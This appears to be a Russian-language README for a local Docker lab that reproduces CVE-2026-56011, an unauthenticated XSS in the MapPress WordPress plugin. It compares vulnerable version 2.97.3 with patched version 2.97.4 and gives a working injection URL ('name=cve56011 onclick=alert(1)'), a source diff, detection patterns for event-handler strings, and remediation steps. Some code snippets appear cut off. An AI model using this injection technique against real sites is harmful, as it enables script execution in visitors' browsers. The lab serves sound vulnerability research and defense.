
# Docker-лаборатория для воспроизведения и проверки CVE-2026-56011, неаутентифицированной XSS-уязвимости в MapPress Maps для WordPress, с целями для сравнения уязвимой и пропатченной версий.
Этот репозиторий содержит локальный Docker-стенд для воспроизведения и проверки CVE-2026-56011 — неаутентифицированной уязвимости межсайтового скриптинга (Cross-Site Scripting), затрагивающей MapPress Maps для WordPress.
MapPress Maps для WordPress — это плагин WordPress, используемый для отображения карт на страницах и в записях WordPress. Уязвимое поведение затрагивает путь рендеринга карт в iframe, доступный через параметр запроса mappress=embed.
Данный стенд сравнивает две версии MapPress:
| Service | MapPress version | Purpose | URL |
|---|
| vuln | 2.97.3 | Vulnerable comparison target | http://localhost:8081 |
| patched | 2.97.4 | Patched comparison target | http://localhost:8082 |
Демонстрируемый путь проверки в этом локальном стенде:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
Уязвимая цель использует этот URL, открываемый вручную в браузере:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Ожидаемый уязвимый результат:```text Click on the rendered MapPress component → alert(1) pops up
Запатченная цель использует тот же payload против MapPress 2.97.4:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Ожидаемый результат после применения патча:```text Click on the rendered MapPress component → no alert appears
Эта лабораторная работа намеренно использует только ручную проверку через браузер. Она не включает PoC-скрипт, автоматизацию браузера, кражу учётных данных, внешние обратные вызовы, вредоносное ПО, закрепление в системе, действия после эксплуатации или атаки на внешние системы.
## Подтверждённые факты
| Утверждение | Доказательства | Как проверить в этой лабораторной работе |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 затрагивает MapPress Maps для WordPress. | Публичные уведомления об уязвимостях определяют затронутый плагин WordPress как MapPress Maps для WordPress. | Изучите раздел References и проверьте плагин, установленный в обеих целях Docker. |
| Уязвимая версия для сравнения в этой лабораторной работе — MapPress 2.97.3. | Сервис `vuln` собирает плагин с использованием `MAPPRESS_VERSION: 2.97.3`. | Изучите `docker-compose.yml` и `vuln/Dockerfile`. |
| Исправленная версия для сравнения в этой лабораторной работе — MapPress 2.97.4. | Сервис `patched` собирает плагин с использованием `MAPPRESS_VERSION: 2.97.4`. | Изучите `docker-compose.yml` и `patched/Dockerfile`. |
| В MapPress 2.97.4 было добавлено соответствующее исправление экранирования в iframe. | Официальный журнал изменений плагина для 2.97.4 гласит: `Added: escape in iframe`. | Изучите официальный журнал изменений плагина WordPress и сравните уязвимый и исправленный исходный код. |
| Уязвимый исходный код вставляет имя карты в атрибут `id` веб-компонента без кавычек. | В 2.97.3 `mappress_map.php` рендерит `<mappress-map id={$name} ...>`. | Сравните исходный код версии 2.97.3 с исходным кодом версии 2.97.4. |
| Исправленный исходный код заключает значение `id` в кавычки и экранирует его. | В 2.97.4 `mappress_map.php` рендерит `id="` с помощью `esc_attr($name)`. | Сравните diff патча между версиями 2.97.3 и 2.97.4. |
| Путь iframe доступен без аутентификации. | MapPress регистрирует `template_redirect`, когда присутствует `$_GET['mappress']`. | Запросите `/?mappress=embed...` из браузера без входа в систему. |
| Путь iframe считывает атрибуты карты из запроса. | `template_redirect()` преобразует `$_GET` в аргументы карты и вызывает рендерер iframe. | Изучите `mappress.php` и воспроизведите ручной URL. |
| Уязвимая цель допускает внедрение атрибутов через `name`. | Специально сформированное значение name может выйти за пределы незакавыченного атрибута `id` и превратиться в `onclick=alert(1)`. | Откройте уязвимый ручной URL и щёлкните отрендеренный компонент MapPress. |
| Исправленная цель блокирует тестируемое поведение внедрения атрибутов. | Исправленный вывод сохраняет полную полезную нагрузку внутри закавыченного атрибута `id`. | Откройте исправленный ручной URL и щёлкните отрендеренный компонент MapPress. |
## Допущения и неизвестные
Эта лабораторная работа использует MapPress 2.97.3 в качестве уязвимой цели для сравнения, поскольку публичные уведомления указывают, что затронуты версии до 2.97.3 включительно, а diff исходного кода показывает уязвимый рендеринг атрибута без кавычек в этой версии.
Эта лабораторная работа использует MapPress 2.97.4 в качестве исправленной цели для сравнения, поскольку публичные уведомления указывают 2.97.4 как исправленную версию, а официальный журнал изменений сообщает, что в путь iframe было добавлено экранирование.
Тестируемое уязвимое поведение — это неаутентифицированный путь рендеринга iframe:```text
GET /?mappress=embed&name=<crafted-value>
Эта лабораторная работа посвящена ручному выполнению в браузере безвредной alert-нагрузки:```text name=cve56011 onclick=alert(1)
Лабораторный стенд не пытается доказать цепочку доставки хранимых данных. Некоторые публичные уведомления классифицируют уязвимость как хранимую XSS. Этот репозиторий сосредоточен на подтверждённом исходным кодом приёмнике рендеринга iframe и поведении «уязвимая версия против исправленной», которое можно воспроизвести локально через неаутентифицированный маршрут `mappress=embed`.
Лабораторный стенд не демонстрирует:
* сохранение полезной нагрузки,
* компрометацию учётной записи WordPress,
* кражу сессии администратора,
* кражу nonce,
* внешние обратные вызовы,
* сбор данных при слепой XSS,
* кражу учётных данных,
* дамп базы данных,
* вредоносное ПО,
* персистентность,
* или атаки на системы, не относящиеся к лабораторному стенду.
Ручная проверка в браузере доказывает значимое для безопасности различие в рендеринге:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
Корневая причина CVE-2026-56011 — некорректное кодирование вывода для значения name карты, когда MapPress рендерит веб-компонент в пути вывода карты через iframe.
Уязвимый путь кода принимает атрибуты рендеринга карты из запроса и в конечном итоге отображает пользовательский HTML-элемент:```html <mappress-map ...>
В MapPress 2.97.3, имя карты вставляется непосредственно в атрибут `id` без кавычек и без экранирования в контексте атрибута:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Это небезопасно, поскольку значение используется в контексте HTML-атрибута. Если атакующий контролирует name, значение, содержащее пробел, может завершить предполагаемое значение id и ввести новый атрибут.
Уязвимое поведение можно кратко описать так:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
Важный момент: общая санитизация текста — это не то же самое, что корректное экранирование вывода.
Уязвимый код применяет `sanitize_text_field()` к имени карты, но это не делает значение безопасным для HTML-атрибута без кавычек. Пробелы сохраняют своё значение в HTML-атрибутах, поскольку они отделяют один атрибут от другого.
Поэтому проблема безопасности заключается в следующем:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
Исправленная версия изменяет рендеринг, чтобы значение id заключалось в кавычки и экранировалось:```php
return "
Исправленное поведение можно обобщить следующим образом:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
Урок безопасности заключается в следующем:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Анализ исходного кода
Проблема на уровне исходного кода была подтверждена сравнением MapPress 2.97.3 и MapPress 2.97.4.
Основной приёмник рендеринга находится в:```text
mappress_map.php
Уязвимая версия выводит значение name как атрибут id без кавычек:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
Исправленная версия заключает атрибут в кавычки и экранирует значение:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Маршрут iframe регистрируется, когда запрос содержит параметр запроса mappress:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
Обработчик iframe-запросов сопоставляет параметры запроса с аргументами map:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
Затем обработчик создаёт или загружает объект map и обновляет его аргументами запроса:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
Вспомогательный iframe отображает содержимое карты:```php
$content = $map->display(null, true);
Путь display() сохраняет переданное непустое значение name:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
Это означает, что предоставленное запросом значение `name` может достичь уязвимого приёмника рендеринга.
Значимый с точки зрения безопасности поток:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
Остальные атрибуты сгенерированной карты обрабатываются через вспомогательную функцию, которая заключает атрибуты в кавычки. Рендеринг уязвимого id особенен тем, что name извлекается и выводится отдельно.
Это делает уязвимую поверхность узкой и лёгкой для проверки:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## Сводка по исправлению в исходном коде
MapPress 2.97.4 исправляет уязвимое поведение рендеринга iframe, заключая в кавычки и экранируя значение атрибута `id` для создаваемого элемента `<mappress-map>`.
Уязвимый шаблон вывода выглядит так:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
В этом выводе браузер разбирает:```text id = cve56011 onclick = alert(1)
Паттерн пропатченного вывода:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
В этом выводе браузер разбирает:```text id = cve56011 onclick=alert(1)
Отдельный атрибут `onclick` не создаётся.
Патч, относящийся к безопасности:```text
Before:
id={$name}
After:
id="<escaped name>"
Исправление на уровне исходного кода небольшое, но влияние на безопасность существенно, поскольку затронутый путь доступен без аутентификации через конечную точку встраивания iframe.
В этой лабораторной работе проверка исходного кода и проверка во время выполнения разделены:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Архитектура лаборатории
Лаборатория запускает две изолированные цели WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
Намеренно нет каталога poc/. Проверка выполняется вручную через браузер.
Два сервиса WordPress используют отдельные базы данных и отдельные тома WordPress:
| Сервис | Компонент | Версия / Роль |
|---|---|---|
| db-vuln | MariaDB | база данных для уязвимого WordPress |
| db-patched | MariaDB | база данных для пропатченного WordPress |
| vuln | WordPress | уязвимая цель с MapPress 2.97.3 |
| patched | WordPress | пропатченная цель с MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | устанавливает WordPress и активирует плагин |
| wpcli-patched | WP-CLI | устанавливает WordPress и активирует плагин |
Сервисы, доступные по умолчанию:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
| Цель | Версия MapPress | Ожидаемое поведение |
| --------------------- | ---------------: | --------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | нажатие на специально созданный компонент вызывает alert(1) |
| http://localhost:8082 | 2.97.4 | нажатие на специально созданный компонент не вызывает alert(1) |
Сборка Docker загружает точный ZIP-архив плагина для каждой цели с официальной конечной точки загрузки плагинов WordPress:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
Службы WP-CLI запускаются автоматически при старте лаборатории. Они устанавливают WordPress и активируют MapPress в каждой целевой системе.
Лаборатория не создаёт и не изменяет уязвимый маршрут MapPress. Маршрут предоставляется реальной версией плагина MapPress, установленной в каждой целевой системе.
Зависимость Python не требуется.
PoC-скрипт не требуется.
Вход в WordPress не требуется для ручной проверки XSS.
Запустите лабораторию из чистого состояния:```bash docker compose down -v --remove-orphans docker compose up -d --build
Проверить статус службы:```bash
docker compose ps
Ожидаемые запущенные службы:```text db-vuln db-patched vuln patched
Ожидаемые открытые цели:```text
http://localhost:8081
http://localhost:8082
Проверьте, что установка WordPress и активация плагина завершены:```bash docker compose logs wpcli-vuln wpcli-patched
Ожидаемые сообщения при настройке:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
После завершения настройки страница входа в WordPress должна возвращать HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
Если корневая страница временно перенаправляет на `/wp-admin/install.php`, настройка WP-CLI может всё ещё выполняться. Подождите, пока в журналах `wpcli-vuln` и `wpcli-patched` не появятся сообщения о завершении настройки, затем повторите попытку.
## Ручная проверка XSS через Alert
В этой лабораторной работе используется только ручная проверка в браузере.
PoC-скрипт не включён.
Вход не требуется.
### Уязвимая цель
Откройте этот URL в браузере:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Нажмите на отрисованный компонент MapPress.
Ожидаемый уязвимый результат:```text alert(1) pops up
Значение безопасности:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
Уязвимое поведение, обрабатываемое браузером, эквивалентно:```html <mappress-map id=cve56011 onclick=alert(1) ...>
Браузер обрабатывает это как:```text
id = cve56011
onclick = alert(1)
Когда компонент нажат, срабатывает обработчик события.
Откройте этот URL в браузере:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Нажмите на отрисованный компонент MapPress.
Ожидаемый пропатченный результат:```text
No alert appears.
Значение безопасности:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
Поведение исправленной версии при разборе браузером эквивалентно:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Браузер обрабатывает это как:```text id = cve56011 onclick=alert(1)
Исполняемый атрибут `onclick` не создаётся.
## Ожидаемые результаты
### Уязвимая цель
URL для ручного открытия в браузере:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Ожидаемый результат после нажатия на отрендеренный компонент:```text alert(1) pops up
Ожидаемая классификация:```text
VULNERABLE_BEHAVIOR_OBSERVED
Важный уязвимый сигнал:```text MapPress 2.97.3
### Запатченная цель
Ручной URL браузера:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Ожидаемый результат после нажатия на отрисованный компонент:```text No alert appears.
Ожидаемая классификация:```text
BLOCKED_BEHAVIOR_OBSERVED
Важный исправленный сигнал:```text MapPress 2.97.4
## Как работает валидация
Ручная валидация отправляет запрос браузера к пути рендеринга iframe MapPress:```text
/?mappress=embed
Запрос включает специально сформированное значение name:```text
cve56011 onclick=alert(1)
Полный уязвимый запрос:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Полный исправленный запрос:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
В MapPress 2.97.3 значение `name` вставляется в атрибут `id` без кавычек:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Поскольку атрибут не заключен в кавычки, пробел после cve56011 начинает новый атрибут.
Браузер интерпретирует вывод как:```text id="cve56011" onclick="alert(1)"
When the rendered component is clicked, the injected event handler executes.
In MapPress 2.97.4, the same value is escaped and quoted:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Браузер интерпретирует всю полезную нагрузку как одно значение id.
Обработчик события не создаётся.
Проверка намеренно выполняется вручную, поскольку цель — показать видимое в браузере поведение XSS напрямую:```text vulnerable target → click → alert(1)
patched target → click → no alert
## Ручное воспроизведение в браузере
Запустите лабораторию:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Дождитесь завершения настройки:```bash docker compose logs wpcli-vuln wpcli-patched
Ожидаемое завершение настройки:```text
vuln setup complete
patched setup complete
Откройте уязвимую цель:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Нажмите на отрисованный компонент MapPress.
Ожидаемый результат:```text
alert(1)
Откройте пропатченную цель:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Нажмите на отрисованный компонент MapPress.
Ожидаемый результат:```text
No alert
Рекомендуемые скриншоты для портфолио:```text
## Impact
CVE-2026-56011 является критичным с точки зрения безопасности, поскольку неаутентифицированный злоумышленник может создать URL iframe MapPress, который внедряет JavaScript в отображаемый компонент карты.
Потенциальное реальное воздействие зависит от того, как доставляется вредоносный URL и какой пользователь его открывает.
Возможное воздействие может включать:
* выполнение управляемого злоумышленником JavaScript в браузере жертвы,
* фишинг или манипуляцию пользовательским интерфейсом внутри затронутого источника WordPress,
* доступ к данным того же источника, не защищённым флагом HttpOnly,
* выполнение действий от имени жертвы, если позволяют дополнительные условия приложения,
* кражу CSRF-токенов или незащищённых данных страницы,
* и злоупотребление доверенным контекстом сайта WordPress.
Эта лабораторная работа демонстрирует только безвредный локальный alert-payload:```text
onclick=alert(1)
Лабораторная работа не демонстрирует кражу сессий, кражу учётных данных, захват учётной записи администратора, загрузку вредоносного внешнего JavaScript, сбор слепого XSS или атаки на публичные сайты WordPress.
Практический риск в производственной среде зависит от:
Возможные индикаторы включают запросы к пути отрисовки iframe MapPress:```text GET /?mappress=embed
Подозрительные параметры запроса могут включать строки, связанные с JavaScript, в параметре `name`:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
Идея высокосигнального обнаружения:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
Пример подозрительного запроса:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Возможные журналы веб-сервера или телеметрия для проверки:
mappress=embed,name,Рекомендуемые действия по мониторингу:
mappress=embed.%20onclick%3D.name.Обновите MapPress Maps для WordPress до версии 2.97.4 или новее.
Соответствующий патч изменяет вывод iframe-карты таким образом, чтобы сгенерированный атрибут id веб-компонента заключался в кавычки и экранировался.
Поведение, важное с точки зрения безопасности:```text Before: id={$name}
After: id=""
Рекомендуемые меры по устранению уязвимости:
* Обновите MapPress Maps для WordPress до версии 2.97.4 или более поздней.
* Предпочитайте самую последнюю доступную версию плагина, а не останавливайтесь на версии, использованной в лабораторном сравнении.
* Убедитесь, что установленная версия плагина не входит в затронутый диапазон.
* Очистите кеш страниц и кеш CDN после обновления.
* Просмотрите журналы доступа на предмет подозрительных запросов `mappress=embed`.
* Поищите в журналах подозрительные значения параметра `name`.
* Рассмотрите возможность временного правила WAF для запросов `mappress=embed`, содержащих обработчики событий.
* Ограничьте ненужный доступ к функциональности администрирования WordPress.
* Используйте строгую политику безопасности контента (CSP) там, где это совместимо.
* Поддерживайте ядро WordPress, темы и плагины в актуальном состоянии.
Уроки безопасной разработки:
* Заключайте все HTML-атрибуты в кавычки.
* Экранируйте вывод для точного контекста вывода.
* Используйте `esc_attr()` для вывода HTML-атрибутов в WordPress.
* Не полагайтесь на `sanitize_text_field()` как на замену экранированию вывода.
* Добавьте регрессионные тесты для путей рендеринга iframe и шорткодов.
* Пересмотрите рендеринг кастомных веб-компонентов, поскольку кастомные теги по-прежнему подчиняются обычным правилам разбора HTML.
## Границы безопасности
Эта лабораторная среда предназначена только для локальных исследований безопасности и контролируемых демонстраций.
Не используйте ручной XSS-URL против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Не используйте в этой лабораторной среде реальные производственные учётные данные, данные клиентов, платёжные данные, API-ключи, учётные данные баз данных или производственные секреты.
Предполагаемая область применения ограничена локальными Docker-сервисами, такими как:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Ручной payload намеренно безвреден:```text onclick=alert(1)
Лаборатория не включает полезные нагрузки для:
* кражи cookie,
* кражи учётных данных,
* кражи CSRF-токенов,
* злоупотребления действиями администратора,
* внешних callback-вызовов,
* сбора слепого XSS,
* вредоносного ПО,
* закрепления,
* фишинговых наборов,
* эксплуатации браузера,
* горизонтального перемещения,
* доступа к данным клиентов,
* или атак на системы вне лаборатории.
Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Остановите и удалите контейнеры, сети и тома:```bash docker compose down -v --remove-orphans
Удалите локально собранные образы лаборатории, если требуется:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Проверьте, что не осталось лабораторных контейнеров:```bash docker compose ps
## Ссылки
* Запись CVE: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* Плагин WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* Журнал изменений плагина WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* База данных уязвимостей WPScan: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* Загрузка плагина WordPress: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* Загрузка плагина WordPress: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip